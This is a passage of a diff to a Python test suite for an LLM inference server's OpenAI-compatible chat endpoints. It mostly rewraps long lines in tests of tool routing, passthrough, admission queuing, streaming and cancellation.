inference_route, "_automatic_model_load_may_run", lambda: True + ) + monkeypatch.setattr( + inference_route, "api_monitor", ApiMonitor(max_entries = 3) + ) monkeypatch.setattr( inference_route, "_openai_passthrough_non_streaming", fake_passthrough ) @@ -809,7 +836,9 @@ class TestChatCompletionRequestToolFields: assert resp.status_code == 400 assert "requires stream=true" in resp.json()["error"]["message"] - def test_permission_mode_policy_forced_local_loop_rejected_before_switch(self, monkeypatch): + def test_permission_mode_policy_forced_local_loop_rejected_before_switch( + self, monkeypatch + ): # A process --enable-tools policy forces Unsloth's own tool loop on even # when the request omits enable_tools and carries no client tools. A # non-streaming ask/auto request is then confirm-gated with no stream to @@ -837,8 +866,12 @@ class TestChatCompletionRequestToolFields: def _setup(): reset_tool_policy() set_tool_policy(True) - monkeypatch.setattr(inference_route, "_automatic_model_load_may_run", lambda: True) - monkeypatch.setattr(inference_route, "api_monitor", ApiMonitor(max_entries = 3)) + monkeypatch.setattr( + inference_route, "_automatic_model_load_may_run", lambda: True + ) + monkeypatch.setattr( + inference_route, "api_monitor", ApiMonitor(max_entries = 3) + ) monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _no_switch) return self._v1_client(monkeypatch, _GGUFBackend()) @@ -860,7 +893,9 @@ class TestChatCompletionRequestToolFields: finally: reset_tool_policy() - def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough(self, monkeypatch): + def test_enable_tools_on_non_tool_backend_keeps_client_tools_on_passthrough( + self, monkeypatch + ): # DiffusionGemma forces supports_tools off while passthrough stays # available (#6851): enable_tools=True must not steal client tools # from the passthrough into an Unsloth tool loop that cannot run. @@ -883,7 +918,9 @@ class TestChatCompletionRequestToolFields: raise AssertionError("client tools must use passthrough") def generate_chat_completion_with_tools(self, **_kwargs): - raise AssertionError("Unsloth tool loop cannot run on a non-tool backend") + raise AssertionError( + "Unsloth tool loop cannot run on a non-tool backend" + ) async def fake_passthrough(llama_backend, payload, model_name, **kwargs): captured["body"] = inference_route._build_openai_passthrough_body( @@ -926,7 +963,9 @@ class TestChatCompletionRequestToolFields: assert entry["status"] == "completed" assert monitor.active_count() == 0 - def test_tool_choice_none_allows_tool_catalog_without_tool_template(self, monkeypatch): + def test_tool_choice_none_allows_tool_catalog_without_tool_template( + self, monkeypatch + ): import routes.inference as inference_route class _GGUFBackend: @@ -968,7 +1007,9 @@ class TestChatCompletionRequestToolFields: assert entry["reply"] == "plain response" assert monitor.active_count() == 0 - def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support(self, monkeypatch): + def test_tool_call_history_rejected_when_gguf_template_has_no_tool_support( + self, monkeypatch + ): import routes.inference as inference_route class _GGUFBackend: @@ -1034,7 +1075,9 @@ class TestChatCompletionRequestToolFields: ) self._assert_unsupported_n(resp) - def test_confirm_tool_calls_requires_streaming_for_safetensors_tools(self, monkeypatch): + def test_confirm_tool_calls_requires_streaming_for_safetensors_tools( + self, monkeypatch + ): import routes.inference as inference_route class _NoGGUFBackend: @@ -1137,7 +1180,9 @@ class TestAnthropicToolChoiceToOpenAI: assert anthropic_tool_choice_to_openai({"type": "none"}) == "none" def test_tool_named(self): - result = anthropic_tool_choice_to_openai({"type": "tool", "name": "get_weather"}) + result = anthropic_tool_choice_to_openai( + {"type": "tool", "name": "get_weather"} + ) assert result == {"type": "function", "function": {"name": "get_weather"}} def test_tool_missing_name_returns_none(self): @@ -1287,7 +1332,9 @@ class TestOpenAIPassthroughSSETerminalState: '{"index":1,"function":{"name":"b"}}]}}]}' ) - capped = _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) + capped = _normalize_openai_passthrough_sse_line( + line, cap_parallel_tool_calls = True + ) data = json.loads(capped[len("data:") :].lstrip()) assert data["choices"][0]["delta"]["tool_calls"] == [ @@ -1299,7 +1346,10 @@ class TestOpenAIPassthroughSSETerminalState: # so the no-mutation path must return the identical string object. line = 'data: {"choices":[{"index":0,"delta":{"content":"hello"},"finish_reason":null}]}' assert _normalize_openai_passthrough_sse_line(line) is line - assert _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) is line + assert ( + _normalize_openai_passthrough_sse_line(line, cap_parallel_tool_calls = True) + is line + ) def test_reasoning_key_inside_content_text_keeps_line_identical(self): # Fast-path substring gate fires, but the parse finds nothing to change: @@ -1465,16 +1515,27 @@ class TestOpenAICompatibilityHelpers: @pytest.mark.parametrize( ("payload", "param"), [ - (SimpleNamespace(max_tokens = "128", max_completion_tokens = None), "max_tokens"), - (SimpleNamespace(max_tokens = True, max_completion_tokens = None), "max_tokens"), - (SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), "max_tokens"), + ( + SimpleNamespace(max_tokens = "128", max_completion_tokens = None), + "max_tokens", + ), + ( + SimpleNamespace(max_tokens = True, max_completion_tokens = None), + "max_tokens", + ), + ( + SimpleNamespace(max_tokens = 12.5, max_completion_tokens = None), + "max_tokens", + ), ( SimpleNamespace(max_tokens = None, max_completion_tokens = "128"), "max_completion_tokens", ), ], ) - def test_openai_compat_max_tokens_rejects_non_integer_explicit_values(self, payload, param): + def test_openai_compat_max_tokens_rejects_non_integer_explicit_values( + self, payload, param + ): with pytest.raises(HTTPException) as exc: _effective_openai_max_tokens(payload) @@ -1506,7 +1567,9 @@ class TestOpenAICompatibilityHelpers: def test_passthrough_upstream_headers_include_backend_auth(self): headers = _openai_passthrough_upstream_headers( - llama_backend = SimpleNamespace(_auth_headers = {"Authorization": "Bearer secret"}), + llama_backend = SimpleNamespace( + _auth_headers = {"Authorization": "Bearer secret"} + ), ) assert headers["Authorization"] == "Bearer secret" @@ -1535,7 +1598,9 @@ class TestOpenAICompatibilityHelpers: def test_openai_admission_non_streaming_exits_invalidated_waiter(self): async def _run(): queue = get_llama_admission_queue("http://llama.invalidated.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()) assert reservation._waiter is not None @@ -1563,7 +1628,9 @@ class TestOpenAICompatibilityHelpers: def test_openai_admission_stream_exits_invalidated_waiter(self): async def _run(): queue = get_llama_admission_queue("http://llama.invalidated.stream.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None reservation = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()) assert reservation._waiter is not None @@ -1637,11 +1704,16 @@ class TestOpenAICompatibilityHelpers: usage = {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5} payload = SimpleNamespace(stream_options = None) assert ( - _openai_stream_usage_chunk(payload, "chatcmpl-test", 123, "model", usage, None) is None + _openai_stream_usage_chunk( + payload, "chatcmpl-test", 123, "model", usage, None + ) + is None ) payload.stream_options = {"include_usage": True} - line = _openai_stream_usage_chunk(payload, "chatcmpl-test", 123, "model", usage, None) + line = _openai_stream_usage_chunk( + payload, "chatcmpl-test", 123, "model", usage, None + ) assert line is not None assert '"choices":[]' in line assert '"usage"' in line @@ -1664,7 +1736,9 @@ class TestOpenAICompatibilityHelpers: assert usage["completion_tokens"] == 7 assert usage["total_tokens"] == 7 - def test_completion_stream_monitor_reads_usage_before_client_strip(self, monkeypatch): + def test_completion_stream_monitor_reads_usage_before_client_strip( + self, monkeypatch + ): import routes.inference as inf_mod monitor = ApiMonitor(max_entries = 3) @@ -1705,7 +1779,9 @@ class TestOpenAICompatibilityHelpers: if message.role == "developer": message.role = "system" - system_prompt, chat_messages, image_b64 = _extract_content_parts(payload.messages) + system_prompt, chat_messages, image_b64 = _extract_content_parts( + payload.messages + ) assert system_prompt == "original system\n\ndeveloper rules" assert chat_messages == [{"role": "user", "content": "hi"}] @@ -1740,11 +1816,15 @@ class TestFriendlyErrorHttpx: def test_non_httpx_unchanged(self): # Non-httpx exceptions still fall through to the substring heuristics # — a context-size message must still produce "Message too long". - ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)" + ctx_msg = ( + "request (4096 tokens) exceeds the available context size (2048 tokens)" + ) assert "Message too long" in _friendly_error(ValueError(ctx_msg)) def test_generic_exception_returns_generic_message(self): - assert _friendly_error(RuntimeError("unrelated")) == "An internal error occurred" + assert ( + _friendly_error(RuntimeError("unrelated")) == "An internal error occurred" + ) from routes.inference import ( # noqa: E402 @@ -1762,7 +1842,10 @@ class TestDropEmptyAssistantSentinels: {"role": "user", "content": "again"}, ] out = _drop_empty_assistant_sentinels(msgs) - assert out == [{"role": "user", "content": "hi"}, {"role": "user", "content": "again"}] + assert out == [ + {"role": "user", "content": "hi"}, + {"role": "user", "content": "again"}, + ] def test_drops_assistant_with_no_content_key(self): # exclude_none=True strips the content key entirely; filter must catch it. @@ -1772,7 +1855,10 @@ class TestDropEmptyAssistantSentinels: {"role": "user", "content": "ok"}, ] out = _drop_empty_assistant_sentinels(msgs) - assert out == [{"role": "user", "content": "hi"}, {"role": "user", "content": "ok"}] + assert out == [ + {"role": "user", "content": "hi"}, + {"role": "user", "content": "ok"}, + ] def test_preserves_assistant_with_text(self): msgs = [ @@ -1872,10 +1958,16 @@ class TestGgufVisionMessages: messages, has_image = _openai_messages_for_gguf_chat(req, is_vision = True) assert has_image is True - assert messages[0]["content"][0] == {"type": "text", "text": "describe image one"} + assert messages[0]["content"][0] == { + "type": "text", + "text": "describe image one", + } assert messages[0]["content"][1]["type"] == "image_url" assert len(messages[0]["content"]) == 2 - assert messages[2]["content"][0] == {"type": "text", "text": "describe image two"} + assert messages[2]["content"][0] == { + "type": "text", + "text": "describe image two", + } assert messages[2]["content"][1]["type"] == "image_url" assert len(messages[2]["content"]) == 2 assert isinstance(messages[1]["content"], str) @@ -1898,9 +1990,14 @@ class TestGgufVisionMessages: messages, has_image = _openai_messages_for_gguf_chat(req, is_vision = True) assert has_image is True - assert messages[0]["content"][0] == {"type": "text", "text": "describe this image"} + assert messages[0]["content"][0] == { + "type": "text", + "text": "describe this image", + } assert messages[0]["content"][1]["type"] == "image_url" - assert messages[0]["content"][1]["image_url"]["url"].startswith("data:image/png;base64,") + assert messages[0]["content"][1]["image_url"]["url"].startswith( + "data:image/png;base64," + ) def test_rejects_image_parts_for_text_only_gguf(self): req = ChatCompletionRequest( @@ -1966,7 +2063,9 @@ class TestGgufVisionMessages: {"role": "user", "content": "now"}, ] - updated = _set_or_prepend_system_message(messages, "Mid instructions.\n\nUse tools.") + updated = _set_or_prepend_system_message( + messages, "Mid instructions.\n\nUse tools." + ) assert [m["role"] for m in updated] == ["system", "user", "user"] assert updated[0]["content"] == "Mid instructions.\n\nUse tools." @@ -2058,7 +2157,9 @@ class TestGgufVisionToolRouting: request_data.update(payload_kwargs) payload = ChatCompletionRequest(**request_data) response = self._drive( - openai_chat_completions(payload, request = self._Request(), current_subject = "test") + openai_chat_completions( + payload, request = self._Request(), current_subject = "test" + ) ) result = SimpleNamespace(response = response, monitor = monitor, backend = backend) if request_data.get("stream"): @@ -2107,7 +2208,9 @@ class TestGgufVisionToolRouting: { "type": "image_url", "image_url": { - "url": (f"data:image/png;base64,{TestGgufVisionMessages._PNG_B64}"), + "url": ( + f"data:image/png;base64,{TestGgufVisionMessages._PNG_B64}" + ), }, }, ], @@ -2116,7 +2219,9 @@ class TestGgufVisionToolRouting: ) response = self._drive( - openai_chat_completions(payload, request = self._Request(), current_subject = "test") + openai_chat_completions( + payload, request = self._Request(), current_subject = "test" + ) ) self._consume_response(response) @@ -2163,7 +2268,9 @@ class TestGgufVisionToolRouting: ) response = self._drive( - openai_chat_completions(payload, request = self._Request(), current_subject = "test") + openai_chat_completions( + payload, request = self._Request(), current_subject = "test" + ) ) self._consume_response(response) @@ -2223,7 +2330,11 @@ class TestGgufVisionToolRouting: yield "planvisible" yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -2232,7 +2343,11 @@ class TestGgufVisionToolRouting: generate = _generate, payload_kwargs = {"stream": True}, ) - deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + deltas = [ + p["choices"][0].get("delta", {}) + for p in result.payloads + if p.get("choices") + ] assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" assert "".join(d.get("content", "") for d in deltas) == "visible" @@ -2251,7 +2366,9 @@ class TestGgufVisionToolRouting: app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) def _generate(**_kwargs): - raise AssertionError("standard GGUF generation must not start while queued") + raise AssertionError( + "standard GGUF generation must not start while queued" + ) backend = SimpleNamespace( is_loaded = True, @@ -2272,7 +2389,9 @@ class TestGgufVisionToolRouting: monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) queue = get_llama_admission_queue("http://llama.standard.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -2307,7 +2426,9 @@ class TestGgufVisionToolRouting: asyncio.run(_run()) - def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker(self, monkeypatch): + def test_standard_gguf_stream_close_after_first_chunk_cleans_tracker( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -2352,7 +2473,12 @@ class TestGgufVisionToolRouting: await aclose() assert cancel_id not in inf_mod._CANCEL_REGISTRY - assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.standard.test") + .snapshot() + .active + == 0 + ) asyncio.run(_run()) @@ -2414,11 +2540,18 @@ class TestGgufVisionToolRouting: [entry] = monitor.snapshot() assert entry["status"] == "cancelled" assert monitor.active_count() == 0 - assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.standard.test") + .snapshot() + .active + == 0 + ) asyncio.run(_run()) - def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation(self, monkeypatch): + def test_gguf_tool_stream_queued_request_sends_keepalive_before_generation( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -2460,7 +2593,9 @@ class TestGgufVisionToolRouting: monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) queue = get_llama_admission_queue("http://llama.tool.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -2496,7 +2631,9 @@ class TestGgufVisionToolRouting: asyncio.run(_run()) - def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor(self, monkeypatch): + def test_gguf_tool_stream_task_cancel_after_first_chunk_finalizes_monitor( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -2566,11 +2703,16 @@ class TestGgufVisionToolRouting: [entry] = monitor.snapshot() assert entry["status"] == "cancelled" assert monitor.active_count() == 0 - assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.tool.test").snapshot().active + == 0 + ) asyncio.run(_run()) - def test_global_enable_tools_does_not_preempt_response_format_passthrough(self, monkeypatch): + def test_global_enable_tools_does_not_preempt_response_format_passthrough( + self, monkeypatch + ): import routes.inference as inf_mod reset_tool_policy() @@ -2634,7 +2776,9 @@ class TestGgufVisionToolRouting: finally: reset_tool_policy() - def test_global_enable_tools_does_not_replace_client_tools_passthrough(self, monkeypatch): + def test_global_enable_tools_does_not_replace_client_tools_passthrough( + self, monkeypatch + ): import routes.inference as inf_mod reset_tool_policy() @@ -2726,7 +2870,9 @@ class TestGgufVisionToolRouting: yield "plain response" def _tools(**_kwargs): - raise AssertionError("tool_choice='none' must not start Unsloth's tool loop") + raise AssertionError( + "tool_choice='none' must not start Unsloth's tool loop" + ) backend = SimpleNamespace( is_loaded = True, @@ -2760,7 +2906,10 @@ class TestGgufVisionToolRouting: ) ) - assert json.loads(response.body)["choices"][0]["message"]["content"] == "plain response" + assert ( + json.loads(response.body)["choices"][0]["message"]["content"] + == "plain response" + ) [entry] = monitor.snapshot() assert entry["status"] == "completed" assert entry["reply"] == "plain response" @@ -2780,7 +2929,9 @@ class TestGgufVisionToolRouting: raise AssertionError("plain GGUF path should not be used") def _tools(**_kwargs): - raise AssertionError("enabled_tools alone must not start Unsloth's tool loop") + raise AssertionError( + "enabled_tools alone must not start Unsloth's tool loop" + ) backend = SimpleNamespace( is_loaded = True, @@ -2804,7 +2955,9 @@ class TestGgufVisionToolRouting: return inf_mod.JSONResponse({"ok": True, "model": model_name}) monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) - monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monkeypatch.setattr( + inf_mod, "_openai_passthrough_non_streaming", fake_passthrough + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) @@ -2825,7 +2978,9 @@ class TestGgufVisionToolRouting: assert json.loads(response.body)["ok"] is True assert captured["body"]["response_format"] == {"type": "json_object"} - def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough(self, monkeypatch): + def test_enabled_tools_without_enable_tools_keeps_client_tools_passthrough( + self, monkeypatch + ): import routes.inference as inf_mod reset_tool_policy() @@ -2844,7 +2999,9 @@ class TestGgufVisionToolRouting: raise AssertionError("plain GGUF path should not be used") def _tools(**_kwargs): - raise AssertionError("enabled_tools alone must not start Unsloth's tool loop") + raise AssertionError( + "enabled_tools alone must not start Unsloth's tool loop" + ) backend = SimpleNamespace( is_loaded = True, @@ -2868,7 +3025,9 @@ class TestGgufVisionToolRouting: return inf_mod.JSONResponse({"ok": True, "model": model_name}) monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) - monkeypatch.setattr(inf_mod, "_openai_passthrough_non_streaming", fake_passthrough) + monkeypatch.setattr( + inf_mod, "_openai_passthrough_non_streaming", fake_passthrough + ) monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) @@ -2890,12 +3049,18 @@ class TestGgufVisionToolRouting: assert captured["body"]["tools"] == client_tools assert captured["body"]["tool_choice"] == "auto" - def test_reasoning_capable_gguf_stream_splits_reasoning_by_default(self, monkeypatch): + def test_reasoning_capable_gguf_stream_splits_reasoning_by_default( + self, monkeypatch + ): def _generate(**_kwargs): yield "planvisible" yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -2905,19 +3070,29 @@ class TestGgufVisionToolRouting: payload_kwargs = {"stream": True}, backend_kwargs = {"reasoning_always_on": False}, ) - deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + deltas = [ + p["choices"][0].get("delta", {}) + for p in result.payloads + if p.get("choices") + ] assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" assert "".join(d.get("content", "") for d in deltas) == "visible" [entry] = result.monitor.snapshot() assert entry["reply"] == "visible" - def test_reasoning_capable_gguf_stream_sanitizes_think_tags_when_disabled(self, monkeypatch): + def test_reasoning_capable_gguf_stream_sanitizes_think_tags_when_disabled( + self, monkeypatch + ): def _generate(**_kwargs): yield "leakedvisible" yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -2927,7 +3102,11 @@ class TestGgufVisionToolRouting: payload_kwargs = {"stream": True, "enable_thinking": False}, backend_kwargs = {"reasoning_always_on": False}, ) - deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + deltas = [ + p["choices"][0].get("delta", {}) + for p in result.payloads + if p.get("choices") + ] assert "".join(d.get("reasoning_content", "") for d in deltas) == "leaked" assert "".join(d.get("content", "") for d in deltas) == "visible" @@ -2935,7 +3114,9 @@ class TestGgufVisionToolRouting: [entry] = result.monitor.snapshot() assert entry["reply"] == "visible" - def test_gguf_tool_stream_splits_reasoning_and_strips_gemma_tool_marker(self, monkeypatch): + def test_gguf_tool_stream_splits_reasoning_and_strips_gemma_tool_marker( + self, monkeypatch + ): def _tools(**_kwargs): yield { "type": "content", @@ -2943,7 +3124,11 @@ class TestGgufVisionToolRouting: } yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -2957,7 +3142,11 @@ class TestGgufVisionToolRouting: "messages": [{"role": "user", "content": "list files"}], }, ) - deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + deltas = [ + p["choices"][0].get("delta", {}) + for p in result.payloads + if p.get("choices") + ] assert "".join(d.get("reasoning_content", "") for d in deltas) == "plan" combined_content = "".join(d.get("content", "") for d in deltas) @@ -2972,7 +3161,11 @@ class TestGgufVisionToolRouting: yield {"type": "status", "text": ""} yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -2986,7 +3179,11 @@ class TestGgufVisionToolRouting: "messages": [{"role": "user", "content": "say literal"}], }, ) - deltas = [p["choices"][0].get("delta", {}) for p in result.payloads if p.get("choices")] + deltas = [ + p["choices"][0].get("delta", {}) + for p in result.payloads + if p.get("choices") + ] combined_content = "".join(d.get("content", "") for d in deltas) assert combined_content == "answer <" @@ -2998,7 +3195,11 @@ class TestGgufVisionToolRouting: yield "planvisible" yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 2, "total_tokens": 5}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 2, + "total_tokens": 5, + }, "finish_reason": "stop", } @@ -3011,7 +3212,9 @@ class TestGgufVisionToolRouting: [entry] = result.monitor.snapshot() assert entry["reply"] == "visible" - def test_standard_gguf_non_streaming_admission_timeout_before_generation(self, monkeypatch): + def test_standard_gguf_non_streaming_admission_timeout_before_generation( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -3019,7 +3222,9 @@ class TestGgufVisionToolRouting: app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) def _generate(**_kwargs): - raise AssertionError("standard GGUF generation must not start while queued") + raise AssertionError( + "standard GGUF generation must not start while queued" + ) backend = SimpleNamespace( is_loaded = True, @@ -3038,7 +3243,9 @@ class TestGgufVisionToolRouting: monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) queue = get_llama_admission_queue("http://llama.standard.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -3072,7 +3279,9 @@ class TestGgufVisionToolRouting: app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) def _generate(**_kwargs): - raise AssertionError("standard GGUF generation must not start after cancel_id") + raise AssertionError( + "standard GGUF generation must not start after cancel_id" + ) backend = SimpleNamespace( is_loaded = True, @@ -3090,7 +3299,9 @@ class TestGgufVisionToolRouting: monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) queue = get_llama_admission_queue("http://llama.standard.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None cancel_id = "standard-nonstream-admission-cancel" @@ -3145,7 +3356,9 @@ class TestGgufVisionToolRouting: raise asyncio.CancelledError() def _generate(**_kwargs): - raise AssertionError("standard GGUF generation must not start after task cancel") + raise AssertionError( + "standard GGUF generation must not start after task cancel" + ) backend = SimpleNamespace( is_loaded = True, @@ -3180,11 +3393,18 @@ class TestGgufVisionToolRouting: ) assert cancel_id not in inf_mod._CANCEL_REGISTRY - assert get_llama_admission_queue("http://llama.standard.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.standard.test") + .snapshot() + .active + == 0 + ) asyncio.run(_run()) - def test_gguf_tool_non_streaming_admission_timeout_before_generation(self, monkeypatch): + def test_gguf_tool_non_streaming_admission_timeout_before_generation( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -3224,7 +3444,9 @@ class TestGgufVisionToolRouting: monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) queue = get_llama_admission_queue("http://llama.tool.test") - blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + blocker = queue.reserve( + capacity = 1, config = LlamaAdmissionConfig() + ).lease_nowait() assert blocker is not None payload = ChatCompletionRequest( @@ -3249,7 +3471,9 @@ class TestGgufVisionToolRouting: asyncio.run(_run()) - def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot(self, monkeypatch): + def test_gguf_tool_non_streaming_cancel_drains_worker_before_releasing_slot( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -3311,7 +3535,10 @@ class TestGgufVisionToolRouting: await asyncio.wait_for(task, timeout = 1.0) assert released.is_set() - assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0 + assert ( + get_llama_admission_queue("http://llama.tool.test").snapshot().active + == 0 + ) [entry] = monitor.snapshot() assert entry["status"] == "cancelled" assert monitor.active_count() == 0 @@ -3364,7 +3591,10 @@ class TestGgufVisionToolRouting: ) body = json.loads(response.body) - assert [c["message"]["content"] for c in body["choices"]] == ["reply 1", "reply 2"] + assert [c["message"]["content"] for c in body["choices"]] == [ + "reply 1", + "reply 2", + ] [entry] = monitor.snapshot() assert entry["reply"] == "Choice 1:\nreply 1\n\nChoice 2:\nreply 2" assert entry["completion_tokens"] == 3 @@ -3432,7 +3662,11 @@ class TestGgufVisionToolRouting: yield "done" yield { "type": "metadata", - "usage": {"prompt_tokens": 3, "completion_tokens": 1, "total_tokens": 4}, + "usage": { + "prompt_tokens": 3, + "completion_tokens": 1, + "total_tokens": 4, + }, "finish_reason": "stop", } @@ -3456,7 +3690,9 @@ class TestGgufVisionToolRouting: ) self._drive( - openai_chat_completions(payload, request = self._Request(), current_subject = "test") + openai_chat_completions( + payload, request = self._Request(), current_subject = "test" + ) ) assert captured["messages"] == [ @@ -3471,7 +3707,9 @@ class TestGgufVisionToolRouting: (-1, [-1, -1, -1]), ], ) - def test_gguf_n_choices_vary_explicit_non_negative_seed(self, monkeypatch, seed, expected): + def test_gguf_n_choices_vary_explicit_non_negative_seed( + self, monkeypatch, seed, expected + ): import routes.inference as inf_mod seen_seeds = [] @@ -3509,7 +3747,9 @@ class TestGgufVisionToolRouting: ) response = self._drive( - openai_chat_completions(payload, request = self._Request(), current_subject = "test") + openai_chat_completions( + payload, request = self._Request(), current_subject = "test" + ) ) body = json.loads(response.body) @@ -3615,7 +3855,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -3672,7 +3914,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -3713,7 +3957,9 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) - def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch): + def test_passthrough_stream_keepalive_while_upstream_headers_are_pending( + self, monkeypatch + ): async def _run(): import routes.inference as inf_mod @@ -3735,7 +3981,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) monkeypatch.setattr( inf_mod, "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S", @@ -3765,7 +4013,9 @@ class TestApiMonitorProviderAndCompletionStreams: timeout = 0.2, ) - first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2) + first = await asyncio.wait_for( + response.body_iterator.__anext__(), timeout = 0.2 + ) assert first == ": keep-alive\n\n" gate.set() @@ -3797,7 +4047,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ -3841,7 +4093,9 @@ class TestApiMonitorProviderAndCompletionStreams: prompt = "hi", ) monkeypatch.setattr(inf_mod, "api_monitor", monitor) - monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, "_send_stream_with_preheader_cancel", fake_send + ) payload = ChatCompletionRequest( model = "default", @@ 